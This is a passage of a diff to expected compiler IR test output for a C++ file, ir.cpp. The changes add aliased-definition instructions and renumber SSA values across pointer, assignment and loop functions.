Load : r0_17, m0_5 -# 197| r0_19(bool) = CompareNE : r0_16, r0_18 -# 197| r0_20(glval) = VariableAddress[b] : -# 197| m0_21(bool) = Store : r0_20, r0_19 -# 198| r0_22(glval) = VariableAddress[p] : -# 198| r0_23(int *) = Load : r0_22, m0_3 -# 198| r0_24(glval) = VariableAddress[q] : -# 198| r0_25(int *) = Load : r0_24, m0_5 -# 198| r0_26(bool) = CompareLT : r0_23, r0_25 -# 198| r0_27(glval) = VariableAddress[b] : -# 198| m0_28(bool) = Store : r0_27, r0_26 -# 199| r0_29(glval) = VariableAddress[p] : -# 199| r0_30(int *) = Load : r0_29, m0_3 -# 199| r0_31(glval) = VariableAddress[q] : -# 199| r0_32(int *) = Load : r0_31, m0_5 -# 199| r0_33(bool) = CompareGT : r0_30, r0_32 -# 199| r0_34(glval) = VariableAddress[b] : -# 199| m0_35(bool) = Store : r0_34, r0_33 -# 200| r0_36(glval) = VariableAddress[p] : -# 200| r0_37(int *) = Load : r0_36, m0_3 -# 200| r0_38(glval) = VariableAddress[q] : -# 200| r0_39(int *) = Load : r0_38, m0_5 -# 200| r0_40(bool) = CompareLE : r0_37, r0_39 -# 200| r0_41(glval) = VariableAddress[b] : -# 200| m0_42(bool) = Store : r0_41, r0_40 -# 201| r0_43(glval) = VariableAddress[p] : -# 201| r0_44(int *) = Load : r0_43, m0_3 -# 201| r0_45(glval) = VariableAddress[q] : -# 201| r0_46(int *) = Load : r0_45, m0_5 -# 201| r0_47(bool) = CompareGE : r0_44, r0_46 -# 201| r0_48(glval) = VariableAddress[b] : -# 201| m0_49(bool) = Store : r0_48, r0_47 -# 202| v0_50(void) = NoOp : -# 193| v0_51(void) = ReturnVoid : -# 193| v0_52(void) = UnmodeledUse : mu* -# 193| v0_53(void) = ExitFunction : +# 193| mu0_1(unknown) = AliasedDefinition : +# 193| mu0_2(unknown) = UnmodeledDefinition : +# 193| r0_3(glval) = VariableAddress[p] : +# 193| m0_4(int *) = InitializeParameter[p] : r0_3 +# 193| r0_5(glval) = VariableAddress[q] : +# 193| m0_6(int *) = InitializeParameter[q] : r0_5 +# 194| r0_7(glval) = VariableAddress[b] : +# 194| m0_8(bool) = Uninitialized[b] : r0_7 +# 196| r0_9(glval) = VariableAddress[p] : +# 196| r0_10(int *) = Load : r0_9, m0_4 +# 196| r0_11(glval) = VariableAddress[q] : +# 196| r0_12(int *) = Load : r0_11, m0_6 +# 196| r0_13(bool) = CompareEQ : r0_10, r0_12 +# 196| r0_14(glval) = VariableAddress[b] : +# 196| m0_15(bool) = Store : r0_14, r0_13 +# 197| r0_16(glval) = VariableAddress[p] : +# 197| r0_17(int *) = Load : r0_16, m0_4 +# 197| r0_18(glval) = VariableAddress[q] : +# 197| r0_19(int *) = Load : r0_18, m0_6 +# 197| r0_20(bool) = CompareNE : r0_17, r0_19 +# 197| r0_21(glval) = VariableAddress[b] : +# 197| m0_22(bool) = Store : r0_21, r0_20 +# 198| r0_23(glval) = VariableAddress[p] : +# 198| r0_24(int *) = Load : r0_23, m0_4 +# 198| r0_25(glval) = VariableAddress[q] : +# 198| r0_26(int *) = Load : r0_25, m0_6 +# 198| r0_27(bool) = CompareLT : r0_24, r0_26 +# 198| r0_28(glval) = VariableAddress[b] : +# 198| m0_29(bool) = Store : r0_28, r0_27 +# 199| r0_30(glval) = VariableAddress[p] : +# 199| r0_31(int *) = Load : r0_30, m0_4 +# 199| r0_32(glval) = VariableAddress[q] : +# 199| r0_33(int *) = Load : r0_32, m0_6 +# 199| r0_34(bool) = CompareGT : r0_31, r0_33 +# 199| r0_35(glval) = VariableAddress[b] : +# 199| m0_36(bool) = Store : r0_35, r0_34 +# 200| r0_37(glval) = VariableAddress[p] : +# 200| r0_38(int *) = Load : r0_37, m0_4 +# 200| r0_39(glval) = VariableAddress[q] : +# 200| r0_40(int *) = Load : r0_39, m0_6 +# 200| r0_41(bool) = CompareLE : r0_38, r0_40 +# 200| r0_42(glval) = VariableAddress[b] : +# 200| m0_43(bool) = Store : r0_42, r0_41 +# 201| r0_44(glval) = VariableAddress[p] : +# 201| r0_45(int *) = Load : r0_44, m0_4 +# 201| r0_46(glval) = VariableAddress[q] : +# 201| r0_47(int *) = Load : r0_46, m0_6 +# 201| r0_48(bool) = CompareGE : r0_45, r0_47 +# 201| r0_49(glval) = VariableAddress[b] : +# 201| m0_50(bool) = Store : r0_49, r0_48 +# 202| v0_51(void) = NoOp : +# 193| v0_52(void) = ReturnVoid : +# 193| v0_53(void) = UnmodeledUse : mu* +# 193| v0_54(void) = ExitFunction : # 204| PointerCrement(int *) -> void # 204| Block 0 # 204| v0_0(void) = EnterFunction : -# 204| mu0_1(unknown) = UnmodeledDefinition : -# 204| r0_2(glval) = VariableAddress[p] : -# 204| m0_3(int *) = InitializeParameter[p] : r0_2 -# 205| r0_4(glval) = VariableAddress[q] : -# 205| m0_5(int *) = Uninitialized : r0_4 -# 207| r0_6(glval) = VariableAddress[p] : -# 207| r0_7(int *) = Load : r0_6, m0_3 -# 207| r0_8(int) = Constant[1] : -# 207| r0_9(int *) = PointerAdd[4] : r0_7, r0_8 -# 207| m0_10(int *) = Store : r0_6, r0_9 -# 207| r0_11(glval) = VariableAddress[q] : -# 207| m0_12(int *) = Store : r0_11, r0_9 -# 208| r0_13(glval) = VariableAddress[p] : -# 208| r0_14(int *) = Load : r0_13, m0_10 -# 208| r0_15(int) = Constant[1] : -# 208| r0_16(int *) = PointerSub[4] : r0_14, r0_15 -# 208| m0_17(int *) = Store : r0_13, r0_16 -# 208| r0_18(glval) = VariableAddress[q] : -# 208| m0_19(int *) = Store : r0_18, r0_16 -# 209| r0_20(glval) = VariableAddress[p] : -# 209| r0_21(int *) = Load : r0_20, m0_17 -# 209| r0_22(int) = Constant[1] : -# 209| r0_23(int *) = PointerAdd[4] : r0_21, r0_22 -# 209| m0_24(int *) = Store : r0_20, r0_23 -# 209| r0_25(glval) = VariableAddress[q] : -# 209| m0_26(int *) = Store : r0_25, r0_21 -# 210| r0_27(glval) = VariableAddress[p] : -# 210| r0_28(int *) = Load : r0_27, m0_24 -# 210| r0_29(int) = Constant[1] : -# 210| r0_30(int *) = PointerSub[4] : r0_28, r0_29 -# 210| m0_31(int *) = Store : r0_27, r0_30 -# 210| r0_32(glval) = VariableAddress[q] : -# 210| m0_33(int *) = Store : r0_32, r0_28 -# 211| v0_34(void) = NoOp : -# 204| v0_35(void) = ReturnVoid : -# 204| v0_36(void) = UnmodeledUse : mu* -# 204| v0_37(void) = ExitFunction : +# 204| mu0_1(unknown) = AliasedDefinition : +# 204| mu0_2(unknown) = UnmodeledDefinition : +# 204| r0_3(glval) = VariableAddress[p] : +# 204| m0_4(int *) = InitializeParameter[p] : r0_3 +# 205| r0_5(glval) = VariableAddress[q] : +# 205| m0_6(int *) = Uninitialized[q] : r0_5 +# 207| r0_7(glval) = VariableAddress[p] : +# 207| r0_8(int *) = Load : r0_7, m0_4 +# 207| r0_9(int) = Constant[1] : +# 207| r0_10(int *) = PointerAdd[4] : r0_8, r0_9 +# 207| m0_11(int *) = Store : r0_7, r0_10 +# 207| r0_12(glval) = VariableAddress[q] : +# 207| m0_13(int *) = Store : r0_12, r0_10 +# 208| r0_14(glval) = VariableAddress[p] : +# 208| r0_15(int *) = Load : r0_14, m0_11 +# 208| r0_16(int) = Constant[1] : +# 208| r0_17(int *) = PointerSub[4] : r0_15, r0_16 +# 208| m0_18(int *) = Store : r0_14, r0_17 +# 208| r0_19(glval) = VariableAddress[q] : +# 208| m0_20(int *) = Store : r0_19, r0_17 +# 209| r0_21(glval) = VariableAddress[p] : +# 209| r0_22(int *) = Load : r0_21, m0_18 +# 209| r0_23(int) = Constant[1] : +# 209| r0_24(int *) = PointerAdd[4] : r0_22, r0_23 +# 209| m0_25(int *) = Store : r0_21, r0_24 +# 209| r0_26(glval) = VariableAddress[q] : +# 209| m0_27(int *) = Store : r0_26, r0_22 +# 210| r0_28(glval) = VariableAddress[p] : +# 210| r0_29(int *) = Load : r0_28, m0_25 +# 210| r0_30(int) = Constant[1] : +# 210| r0_31(int *) = PointerSub[4] : r0_29, r0_30 +# 210| m0_32(int *) = Store : r0_28, r0_31 +# 210| r0_33(glval) = VariableAddress[q] : +# 210| m0_34(int *) = Store : r0_33, r0_29 +# 211| v0_35(void) = NoOp : +# 204| v0_36(void) = ReturnVoid : +# 204| v0_37(void) = UnmodeledUse : mu* +# 204| v0_38(void) = ExitFunction : # 213| CompoundAssignment() -> void # 213| Block 0 # 213| v0_0(void) = EnterFunction : -# 213| mu0_1(unknown) = UnmodeledDefinition : -# 215| r0_2(glval) = VariableAddress[x] : -# 215| r0_3(int) = Constant[5] : -# 215| m0_4(int) = Store : r0_2, r0_3 -# 216| r0_5(int) = Constant[7] : -# 216| r0_6(glval) = VariableAddress[x] : -# 216| r0_7(int) = Load : r0_6, m0_4 -# 216| r0_8(int) = Add : r0_7, r0_5 -# 216| m0_9(int) = Store : r0_6, r0_8 -# 219| r0_10(glval) = VariableAddress[y] : -# 219| r0_11(short) = Constant[5] : -# 219| m0_12(short) = Store : r0_10, r0_11 -# 220| r0_13(glval) = VariableAddress[x] : -# 220| r0_14(int) = Load : r0_13, m0_9 -# 220| r0_15(glval) = VariableAddress[y] : -# 220| r0_16(short) = Load : r0_15, m0_12 -# 220| r0_17(int) = Convert : r0_16 -# 220| r0_18(int) = Add : r0_17, r0_14 -# 220| r0_19(short) = Convert : r0_18 -# 220| m0_20(short) = Store : r0_15, r0_19 -# 223| r0_21(int) = Constant[1] : -# 223| r0_22(glval) = VariableAddress[y] : -# 223| r0_23(short) = Load : r0_22, m0_20 -# 223| r0_24(short) = ShiftLeft : r0_23, r0_21 -# 223| m0_25(short) = Store : r0_22, r0_24 -# 226| r0_26(glval) = VariableAddress[z] : -# 226| r0_27(long) = Constant[7] : -# 226| m0_28(long) = Store : r0_26, r0_27 -# 227| r0_29(float) = Constant[2.0] : -# 227| r0_30(glval) = VariableAddress[z] : -# 227| r0_31(long) = Load : r0_30, m0_28 -# 227| r0_32(float) = Convert : r0_31 -# 227| r0_33(float) = Add : r0_32, r0_29 -# 227| r0_34(long) = Convert : r0_33 -# 227| m0_35(long) = Store : r0_30, r0_34 -# 228| v0_36(void) = NoOp : -# 213| v0_37(void) = ReturnVoid : -# 213| v0_38(void) = UnmodeledUse : mu* -# 213| v0_39(void) = ExitFunction : +# 213| mu0_1(unknown) = AliasedDefinition : +# 213| mu0_2(unknown) = UnmodeledDefinition : +# 215| r0_3(glval) = VariableAddress[x] : +# 215| r0_4(int) = Constant[5] : +# 215| m0_5(int) = Store : r0_3, r0_4 +# 216| r0_6(int) = Constant[7] : +# 216| r0_7(glval) = VariableAddress[x] : +# 216| r0_8(int) = Load : r0_7, m0_5 +# 216| r0_9(int) = Add : r0_8, r0_6 +# 216| m0_10(int) = Store : r0_7, r0_9 +# 219| r0_11(glval) = VariableAddress[y] : +# 219| r0_12(short) = Constant[5] : +# 219| m0_13(short) = Store : r0_11, r0_12 +# 220| r0_14(glval) = VariableAddress[x] : +# 220| r0_15(int) = Load : r0_14, m0_10 +# 220| r0_16(glval) = VariableAddress[y] : +# 220| r0_17(short) = Load : r0_16, m0_13 +# 220| r0_18(int) = Convert : r0_17 +# 220| r0_19(int) = Add : r0_18, r0_15 +# 220| r0_20(short) = Convert : r0_19 +# 220| m0_21(short) = Store : r0_16, r0_20 +# 223| r0_22(int) = Constant[1] : +# 223| r0_23(glval) = VariableAddress[y] : +# 223| r0_24(short) = Load : r0_23, m0_21 +# 223| r0_25(short) = ShiftLeft : r0_24, r0_22 +# 223| m0_26(short) = Store : r0_23, r0_25 +# 226| r0_27(glval) = VariableAddress[z] : +# 226| r0_28(long) = Constant[7] : +# 226| m0_29(long) = Store : r0_27, r0_28 +# 227| r0_30(float) = Constant[2.0] : +# 227| r0_31(glval) = VariableAddress[z] : +# 227| r0_32(long) = Load : r0_31, m0_29 +# 227| r0_33(float) = Convert : r0_32 +# 227| r0_34(float) = Add : r0_33, r0_30 +# 227| r0_35(long) = Convert : r0_34 +# 227| m0_36(long) = Store : r0_31, r0_35 +# 228| v0_37(void) = NoOp : +# 213| v0_38(void) = ReturnVoid : +# 213| v0_39(void) = UnmodeledUse : mu* +# 213| v0_40(void) = ExitFunction : # 230| UninitializedVariables() -> void # 230| Block 0 # 230| v0_0(void) = EnterFunction : -# 230| mu0_1(unknown) = UnmodeledDefinition : -# 231| r0_2(glval) = VariableAddress[x] : -# 231| m0_3(int) = Uninitialized : r0_2 -# 232| r0_4(glval) = VariableAddress[y] : -# 232| r0_5(glval) = VariableAddress[x] : -# 232| r0_6(int) = Load : r0_5, m0_3 -# 232| m0_7(int) = Store : r0_4, r0_6 -# 233| v0_8(void) = NoOp : -# 230| v0_9(void) = ReturnVoid : -# 230| v0_10(void) = UnmodeledUse : mu* -# 230| v0_11(void) = ExitFunction : +# 230| mu0_1(unknown) = AliasedDefinition : +# 230| mu0_2(unknown) = UnmodeledDefinition : +# 231| r0_3(glval) = VariableAddress[x] : +# 231| m0_4(int) = Uninitialized[x] : r0_3 +# 232| r0_5(glval) = VariableAddress[y] : +# 232| r0_6(glval) = VariableAddress[x] : +# 232| r0_7(int) = Load : r0_6, m0_4 +# 232| m0_8(int) = Store : r0_5, r0_7 +# 233| v0_9(void) = NoOp : +# 230| v0_10(void) = ReturnVoid : +# 230| v0_11(void) = UnmodeledUse : mu* +# 230| v0_12(void) = ExitFunction : # 235| Parameters(int, int) -> int # 235| Block 0 # 235| v0_0(void) = EnterFunction : -# 235| mu0_1(unknown) = UnmodeledDefinition : -# 235| r0_2(glval) = VariableAddress[x] : -# 235| m0_3(int) = InitializeParameter[x] : r0_2 -# 235| r0_4(glval) = VariableAddress[y] : -# 235| m0_5(int) = InitializeParameter[y] : r0_4 -# 236| r0_6(glval) = VariableAddress[#return] : -# 236| r0_7(glval) = VariableAddress[x] : -# 236| r0_8(int) = Load : r0_7, m0_3 -# 236| r0_9(glval) = VariableAddress[y] : -# 236| r0_10(int) = Load : r0_9, m0_5 -# 236| r0_11(int) = Rem : r0_8, r0_10 -# 236| m0_12(int) = Store : r0_6, r0_11 -# 235| r0_13(glval) = VariableAddress[#return] : -# 235| v0_14(void) = ReturnValue : r0_13, m0_12 -# 235| v0_15(void) = UnmodeledUse : mu* -# 235| v0_16(void) = ExitFunction : +# 235| mu0_1(unknown) = AliasedDefinition : +# 235| mu0_2(unknown) = UnmodeledDefinition : +# 235| r0_3(glval) = VariableAddress[x] : +# 235| m0_4(int) = InitializeParameter[x] : r0_3 +# 235| r0_5(glval) = VariableAddress[y] : +# 235| m0_6(int) = InitializeParameter[y] : r0_5 +# 236| r0_7(glval) = VariableAddress[#return] : +# 236| r0_8(glval) = VariableAddress[x] : +# 236| r0_9(int) = Load : r0_8, m0_4 +# 236| r0_10(glval) = VariableAddress[y] : +# 236| r0_11(int) = Load : r0_10, m0_6 +# 236| r0_12(int) = Rem : r0_9, r0_11 +# 236| m0_13(int) = Store : r0_7, r0_12 +# 235| r0_14(glval) = VariableAddress[#return] : +# 235| v0_15(void) = ReturnValue : r0_14, m0_13 +# 235| v0_16(void) = UnmodeledUse : mu* +# 235| v0_17(void) = ExitFunction : # 239| IfStatements(bool, int, int) -> void # 239| Block 0 # 239| v0_0(void) = EnterFunction : -# 239| mu0_1(unknown) = UnmodeledDefinition : -# 239| r0_2(glval) = VariableAddress[b] : -# 239| m0_3(bool) = InitializeParameter[b] : r0_2 -# 239| r0_4(glval) = VariableAddress[x] : -# 239| m0_5(int) = InitializeParameter[x] : r0_4 -# 239| r0_6(glval) = VariableAddress[y] : -# 239| m0_7(int) = InitializeParameter[y] : r0_6 -# 240| r0_8(glval) = VariableAddress[b] : -# 240| r0_9(bool) = Load : r0_8, m0_3 -# 240| v0_10(void) = ConditionalBranch : r0_9 +# 239| mu0_1(unknown) = AliasedDefinition : +# 239| mu0_2(unknown) = UnmodeledDefinition : +# 239| r0_3(glval) = VariableAddress[b] : +# 239| m0_4(bool) = InitializeParameter[b] : r0_3 +# 239| r0_5(glval) = VariableAddress[x] : +# 239| m0_6(int) = InitializeParameter[x] : r0_5 +# 239| r0_7(glval) = VariableAddress[y] : +# 239| m0_8(int) = InitializeParameter[y] : r0_7 +# 240| r0_9(glval) = VariableAddress[b] : +# 240| r0_10(bool) = Load : r0_9, m0_4 +# 240| v0_11(void) = ConditionalBranch : r0_10 #-----| False -> Block 1 #-----| True -> Block 7 # 243| Block 1 # 243| r1_0(glval) = VariableAddress[b] : -# 243| r1_1(bool) = Load : r1_0, m0_3 +# 243| r1_1(bool) = Load : r1_0, m0_4 # 243| v1_2(void) = ConditionalBranch : r1_1 #-----| False -> Block 3 #-----| True -> Block 2 # 244| Block 2 # 244| r2_0(glval) = VariableAddress[y] : -# 244| r2_1(int) = Load : r2_0, m0_7 +# 244| r2_1(int) = Load : r2_0, m0_8 # 244| r2_2(glval) = VariableAddress[x] : # 244| m2_3(int) = Store : r2_2, r2_1 #-----| Goto -> Block 3 # 247| Block 3 -# 247| m3_0(int) = Phi : from 1:m0_5, from 2:m2_3 +# 247| m3_0(int) = Phi : from 1:m0_6, from 2:m2_3 # 247| r3_1(glval) = VariableAddress[x] : # 247| r3_2(int) = Load : r3_1, m3_0 # 247| r3_3(int) = Constant[7] : @@ -1075,9 +1097,10 @@ ir.cpp: # 253| WhileStatements(int) -> void # 253| Block 0 # 253| v0_0(void) = EnterFunction : -# 253| mu0_1(unknown) = UnmodeledDefinition : -# 253| r0_2(glval) = VariableAddress[n] : -# 253| m0_3(int) = InitializeParameter[n] : r0_2 +# 253| mu0_1(unknown) = AliasedDefinition : +# 253| mu0_2(unknown) = UnmodeledDefinition : +# 253| r0_3(glval) = VariableAddress[n] : +# 253| m0_4(int) = InitializeParameter[n] : r0_3 #-----| Goto -> Block 3 # 255| Block 1 @@ -1095,7 +1118,7 @@ ir.cpp: # 253| v2_3(void) = ExitFunction : # 254| Block 3 -# 254| m3_0(int) = Phi : from 0:m0_3, from 1:m1_4 +# 254| m3_0(int) = Phi : from 0:m0_4, from 1:m1_4 # 254| r3_1(glval) = VariableAddress[n] : # 254| r3_2(int) = Load : r3_1, m3_0 # 254| r3_3(int) = Constant[0] : @@ -1107,13 +1130,14 @@ ir.cpp: # 259| DoStatements(int) -> void # 259| Block 0 # 259| v0_0(void) = EnterFunction : -# 259| mu0_1(unknown) = UnmodeledDefinition : -# 259| r0_2(glval) = VariableAddress[n] : -# 259| m0_3(int) = InitializeParameter[n] : r0_2 +# 259| mu0_1(unknown) = AliasedDefinition : +# 259| mu0_2(unknown) = UnmodeledDefinition : +# 259| r0_3(glval) = VariableAddress[n] : +# 259| m0_4(int) = InitializeParameter[n] : r0_3 #-----| Goto -> Block 1 # 261| Block 1 -# 261| m1_0(int) = Phi : from 0:m0_3, from 1:m1_5 +# 261| m1_0(int) = Phi : from 0:m0_4, from 1:m1_5 # 261| r1_1(int) = Constant[1] : # 261| r1_2(glval) = VariableAddress[n] : # 261| r1_3(int) = Load : r1_2, m1_0 @@ -1136,50 +1160,43 @@ ir.cpp: # 265| For_Empty() -> void # 265| Block 0 # 265| v0_0(void) = EnterFunction : -# 265| mu0_1(unknown) = UnmodeledDefinition : -# 266| r0_2(glval) = VariableAddress[j] : -# 266| m0_3(int) = Uninitialized : r0_2 -#-----| Goto -> Block 2 +# 265| mu0_1(unknown) = AliasedDefinition : +# 265| mu0_2(unknown) = UnmodeledDefinition : +# 266| r0_3(glval) = VariableAddress[j] : +# 266| m0_4(int) = Uninitialized[j] : r0_3 +#-----| Goto -> Block 1 -# 265| Block 1 -# 265| v1_0(void) = ReturnVoid : -# 265| v1_1(void) = UnmodeledUse : mu* -# 265| v1_2(void) = ExitFunction : - -# 268| Block 2 -# 268| v2_0(void) = NoOp : -#-----| Goto -> Block 2 +# 268| Block 1 +# 268| v1_0(void) = NoOp : +#-----| Goto -> Block 1 # 272| For_Init() -> void # 272| Block 0 # 272| v0_0(void) = EnterFunction : -# 272| mu0_1(unknown) = UnmodeledDefinition : -# 273| r0_2(glval) = VariableAddress[i] : -# 273| r0_3(int) = Constant[0] : -# 273| m0_4(int) = Store : r0_2, r0_3 -#-----| Goto -> Block 2 +# 272| mu0_1(unknown) = AliasedDefinition : +# 272| mu0_2(unknown) = UnmodeledDefinition : +# 273| r0_3(glval) = VariableAddress[i] : +# 273| r0_4(int) = Constant[0] : +# 273| m0_5(int) = Store : r0_3, r0_4 +#-----| Goto -> Block 1 -# 272| Block 1 -# 272| v1_0(void) = ReturnVoid : -# 272| v1_1(void) = UnmodeledUse : mu* -# 272| v1_2(void) = ExitFunction : - -# 274| Block 2 -# 274| v2_0(void) = NoOp : -#-----| Goto -> Block 2 +# 274| Block 1 +# 274| v1_0(void) = NoOp : +#-----| Goto -> Block 1 # 278| For_Condition() -> void # 278| Block 0 # 278| v0_0(void) = EnterFunction : -# 278| mu0_1(unknown) = UnmodeledDefinition : -# 279| r0_2(glval) = VariableAddress[i] : -# 279| r0_3(int) = Constant[0] : -# 279| m0_4(int) = Store : r0_2, r0_3 +# 278| mu0_1(unknown) = AliasedDefinition : +# 278| mu0_2(unknown) = UnmodeledDefinition : +# 279| r0_3(glval) = VariableAddress[i] : +# 279| r0_4(int) = Constant[0] : +# 279| m0_5(int) = Store : r0_3, r0_4 #-----| Goto -> Block 1 # 280| Block 1 # 280| r1_0(glval) = VariableAddress[i] : -# 280| r1_1(int) = Load : r1_0, m0_4 +# 280| r1_1(int) = Load : r1_0, m0_5 # 280| r1_2(int) = Constant[10] : # 280| r1_3(bool) = CompareLT : r1_1, r1_2 # 280| v1_4(void) = ConditionalBranch : r1_3 @@ -1199,39 +1216,36 @@ ir.cpp: # 285| For_Update() -> void # 285| Block 0 # 285| v0_0(void) = EnterFunction : -# 285| mu0_1(unknown) = UnmodeledDefinition : -# 286| r0_2(glval) = VariableAddress[i] : -# 286| r0_3(int) = Constant[0] : -# 286| m0_4(int) = Store : r0_2, r0_3 -#-----| Goto -> Block 2 +# 285| mu0_1(unknown) = AliasedDefinition : +# 285| mu0_2(unknown) = UnmodeledDefinition : +# 286| r0_3(glval) = VariableAddress[i] : +# 286| r0_4(int) = Constant[0] : +# 286| m0_5(int) = Store : r0_3, r0_4 +#-----| Goto -> Block 1 -# 285| Block 1 -# 285| v1_0(void) = ReturnVoid : -# 285| v1_1(void) = UnmodeledUse : mu* -# 285| v1_2(void) = ExitFunction : - -# 288| Block 2 -# 288| m2_0(int) = Phi : from 0:m0_4, from 2:m2_6 -# 288| v2_1(void) = NoOp : -# 287| r2_2(int) = Constant[1] : -# 287| r2_3(glval) = VariableAddress[i] : -# 287| r2_4(int) = Load : r2_3, m2_0 -# 287| r2_5(int) = Add : r2_4, r2_2 -# 287| m2_6(int) = Store : r2_3, r2_5 -#-----| Goto -> Block 2 +# 288| Block 1 +# 288| m1_0(int) = Phi : from 0:m0_5, from 1:m1_6 +# 288| v1_1(void) = NoOp : +# 287| r1_2(int) = Constant[1] : +# 287| r1_3(glval) = VariableAddress[i] : +# 287| r1_4(int) = Load : r1_3, m1_0 +# 287| r1_5(int) = Add : r1_4, r1_2 +# 287| m1_6(int) = Store : r1_3, r1_5 +#-----| Goto -> Block 1 # 292| For_InitCondition() -> void # 292| Block 0 # 292| v0_0(void) = EnterFunction : -# 292| mu0_1(unknown) = UnmodeledDefinition : -# 293| r0_2(glval) = VariableAddress[i] : -# 293| r0_3(int) = Constant[0] : -# 293| m0_4(int) = Store : r0_2, r0_3 +# 292| mu0_1(unknown) = AliasedDefinition : +# 292| mu0_2(unknown) = UnmodeledDefinition : +# 293| r0_3(glval) = VariableAddress[i] : +# 293| r0_4(int) = Constant[0] : +# 293| m0_5(int) = Store : r0_3, r0_4 #-----| Goto -> Block 1 # 293| Block 1 # 293| r1_0(glval) = VariableAddress[i] : -# 293| r1_1(int) = Load : r1_0, m0_4 +# 293| r1_1(int) = Load : r1_0, m0_5 # 293| r1_2(int) = Constant[10] : # 293| r1_3(bool) = CompareLT : r1_1, r1_2 # 293| v1_4(void) = ConditionalBranch : r1_3 @@ -1251,38 +1265,35 @@ ir.cpp: # 298| For_InitUpdate() -> void # 298| Block 0 # 298| v0_0(void) = EnterFunction : -# 298| mu0_1(unknown) = UnmodeledDefinition : -# 299| r0_2(glval) = VariableAddress[i] : -# 299| r0_3(int) = Constant[0] : -# 299| m0_4(int) = Store : r0_2, r0_3 -#-----| Goto -> Block 2 +# 298| mu0_1(unknown) = AliasedDefinition : +# 298| mu0_2(unknown) = UnmodeledDefinition : +# 299| r0_3(glval) = VariableAddress[i] : +# 299| r0_4(int) = Constant[0] : +# 299| m0_5(int) = Store : r0_3, r0_4 +#-----| Goto -> Block 1 -# 298| Block 1 -# 298| v1_0(void) = ReturnVoid : -# 298| v1_1(void) = UnmodeledUse : mu* -# 298| v1_2(void) = ExitFunction : - -# 300| Block 2 -# 300| m2_0(int) = Phi : from 0:m0_4, from 2:m2_6 -# 300| v2_1(void) = NoOp : -# 299| r2_2(int) = Constant[1] : -# 299| r2_3(glval) = VariableAddress[i] : -# 299| r2_4(int) = Load : r2_3, m2_0 -# 299| r2_5(int) = Add : r2_4, r2_2 -# 299| m2_6(int) = Store : r2_3, r2_5 -#-----| Goto -> Block 2 +# 300| Block 1 +# 300| m1_0(int) = Phi : from 0:m0_5, from 1:m1_6 +# 300| v1_1(void) = NoOp : +# 299| r1_2(int) = Constant[1] : +# 299| r1_3(glval) = VariableAddress[i] : +# 299| r1_4(int) = Load : r1_3, m1_0 +# 299| r1_5(int) = Add : r1_4, r1_2 +# 299| m1_6(int) = Store : r1_3, r1_5 +#-----| Goto -> Block 1 # 304| For_ConditionUpdate() -> void # 304| Block 0 # 304| v0_0(void) = EnterFunction : -# 304| mu0_1(unknown) = UnmodeledDefinition : -# 305| r0_2(glval) = VariableAddress[i] : -# 305| r0_3(int) = Constant[0] : -# 305| m0_4(int) = Store : r0_2, r0_3 +# 304| mu0_1(unknown) = AliasedDefinition : +# 304| mu0_2(unknown) = UnmodeledDefinition : +# 305| r0_3(glval) = VariableAddress[i] : +# 305| r0_4(int) = Constant[0] : +# 305| m0_5(int) = Store : r0_3, r0_4 #-----| Goto -> Block 1 # 306| Block 1 -# 306| m1_0(int) = Phi : from 0:m0_4, from 2:m2_5 +# 306| m1_0(int) = Phi : from 0:m0_5, from 2:m2_5 # 306| r1_1(glval) = VariableAddress[i] : # 306| r1_2(int) = Load : r1_1, m1_0 # 306| r1_3(int) = Constant[10] : @@ -1309,14 +1320,15 @@ ir.cpp: # 311| For_InitConditionUpdate() -> void # 311| Block 0 # 311| v0_0(void) = EnterFunction : -# 311| mu0_1(unknown) = UnmodeledDefinition : -# 312| r0_2(glval) = VariableAddress[i] : -# 312| r0_3(int) = Constant[0] : -# 312| m0_4(int) = Store : r0_2, r0_3 +# 311| mu0_1(unknown) = AliasedDefinition : +# 311| mu0_2(unknown) = UnmodeledDefinition : +# 312| r0_3(glval) = VariableAddress[i] : +# 312| r0_4(int) = Constant[0] : +# 312| m0_5(int) = Store : r0_3, r0_4 #-----| Goto -> Block 1 # 312| Block 1 -# 312| m1_0(int) = Phi : from 0:m0_4, from 2:m2_5 +# 312| m1_0(int) = Phi : from 0:m0_5, from 2:m2_5 # 312| r1_1(glval) = VariableAddress[i] : # 312| r1_2(int) = Load : r1_1, m1_0 # 312| r1_3(int) = Constant[10] : @@ -1343,14 +1355,15 @@ ir.cpp: # 317| For_Break() -> void # 317| Block 0 # 317| v0_0(void) = EnterFunction : -# 317| mu0_1(unknown) = UnmodeledDefinition : -# 318| r0_2(glval) = VariableAddress[i] : -# 318| r0_3(int) = Constant[0] : -# 318| m0_4(int) = Store : r0_2, r0_3 +# 317| mu0_1(unknown) = AliasedDefinition : +# 317| mu0_2(unknown) = UnmodeledDefinition : +# 318| r0_3(glval) = VariableAddress[i] : +# 318| r0_4(int) = Constant[0] : +# 318| m0_5(int) = Store : r0_3, r0_4 #-----| Goto -> Block 1 # 318| Block 1 -# 318| m1_0(int) = Phi : from 0:m0_4, from 2:m2_4 +# 318| m1_0(int) = Phi : from 0:m0_5, from 2:m2_4 # 318| r1_1(glval) = VariableAddress[i] : # 318| r1_2(int) = Load : r1_1, m1_0 # 318| r1_3(int) = Constant[10] : @@ -1390,14 +1403,15 @@ ir.cpp: # 325| For_Continue_Update() -> void # 325| Block 0 # 325| v0_0(void) = EnterFunction : -# 325| mu0_1(unknown) = UnmodeledDefinition : -# 326| r0_2(glval) = VariableAddress[i] : -# 326| r0_3(int) = Constant[0] : -# 326| m0_4(int) = Store : r0_2, r0_3 +# 325| mu0_1(unknown) = AliasedDefinition : +# 325| mu0_2(unknown) = UnmodeledDefinition : +# 326| r0_3(glval) = VariableAddress[i] : +# 326| r0_4(int) = Constant[0] : +# 326| m0_5(int) = Store : r0_3, r0_4 #-----| Goto -> Block 1 # 326| Block 1 -# 326| m1_0(int) = Phi : from 0:m0_4, from 4:m4_5 +# 326| m1_0(int) = Phi : from 0:m0_5, from 4:m4_5 # 326| r1_1(glval) = VariableAddress[i] : # 326| r1_2(int) = Load : r1_1, m1_0 # 326| r1_3(int) = Constant[10] : @@ -1437,15 +1451,16 @@ ir.cpp: # 333| For_Continue_NoUpdate() -> void # 333| Block 0 # 333| v0_0(void) = EnterFunction : -# 333| mu0_1(unknown) = UnmodeledDefinition : -# 334| r0_2(glval) = VariableAddress[i] : -# 334| r0_3(int) = Constant[0] : -# 334| m0_4(int) = Store : r0_2, r0_3 +# 333| mu0_1(unknown) = AliasedDefinition : +# 333| mu0_2(unknown) = UnmodeledDefinition : +# 334| r0_3(glval) = VariableAddress[i] : +# 334| r0_4(int) = 